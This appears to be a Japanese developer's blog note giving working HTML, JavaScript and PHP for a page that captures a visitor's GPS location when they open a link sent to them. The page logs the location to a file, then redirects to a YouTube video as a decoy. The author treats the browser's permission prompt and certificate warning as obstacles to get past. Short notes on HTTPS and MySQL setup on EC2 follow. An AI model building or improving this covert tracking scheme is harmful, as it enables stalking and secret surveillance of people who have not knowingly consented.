■課題
証明書が公開されていないから 安全なアクセスでない となっていしまう。
位置情報を取得するかを確認されてしまう。
■フロー
1 現在位置を知りたい人にURLを送る
2 URLを開くと、位置情報を送信してから何かしらのウェブサイトに飛ぶようにする
3 位置情報を受信して現在位置を知る。
■ページ
1.位置情報取得サイト(位置情報を取得し、送信するページ)
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script>
navigator.geolocation.getCurrentPosition(getgeo);
function getgeo(position) {
var geo_text = "locationget.php?Latitude=" + position.coords.latitude;
geo_text += "&Longitude=" + position.coords.longitude;
geo_text += "&Accuracy=" + position.coords.accuracy;
var date = new Date(position.timestamp);
geo_text += "&Date=" + date.toLocaleString();
location = geo_text;
}
</script>
</head>
<body>
</body>
</html>
2.発行したURLをデータベースに登録するページ
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script>
<?php
$Latitude = htmlspecialchars($_GET['Latitude']);
$Longitude = htmlspecialchars($_GET['Longitude']);
$Accuracy = htmlspecialchars($_GET['Accuracy']);
$Date = htmlspecialchars($_GET['Date']);
$log = "Latitude = ";
$log .= $Latitude;
$log .= "\nLongitude = ";
$log .= $Longitude;
$log .= "\nAccuracy = ";
$log .= $Accuracy;
$log .= "\nDate = ";
$log .= $Date;
$log .= "\n";
file_put_contents('locationlog.txt', $log);
?>
location = 'https://www.youtube.com/watch?v=htM4K5ieHts';
</script>
</head>
<body>
<button onclick="test()">test</button>
</body>
</html>
3.位置情報取得サイトのURLを発行するページ
※いつか作成したい
4.位置情報を確認するページ
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
$contents = file_get_contents("locationlog.txt");
print_r($contents);
?>
</body>
</html>
※JavaScriptで位置情報を取得するためには通信が保護されていないといけないみたい。
https://developer.mozilla.org/ja/docs/Web/API/Geolocation/getCurrentPosition
※通信を保護するためにHTTPSでの通信を許可する。
Apacheで実装したWebサーバでHTTPS通信を可能にするために以下サイトを参考にして証明書を配置した。
https://qiita.com/naganao/items/fe119b2818479b730c74
■EC2にMySQLをインストールしてPHPと接続するときの注意点。
↓PDO接続の機能を利用するにはPDOdriverが必要みたい。
↓接続時に以下のようなエラーがでたら、文字コードが悪さをしているみたい。
SQLSTATE[HY000] [2054] Serversentcharsetunknowntotheclient. Please, reporttothedevelopers
↓このサイトを参考に接続確認した。
コメントを残す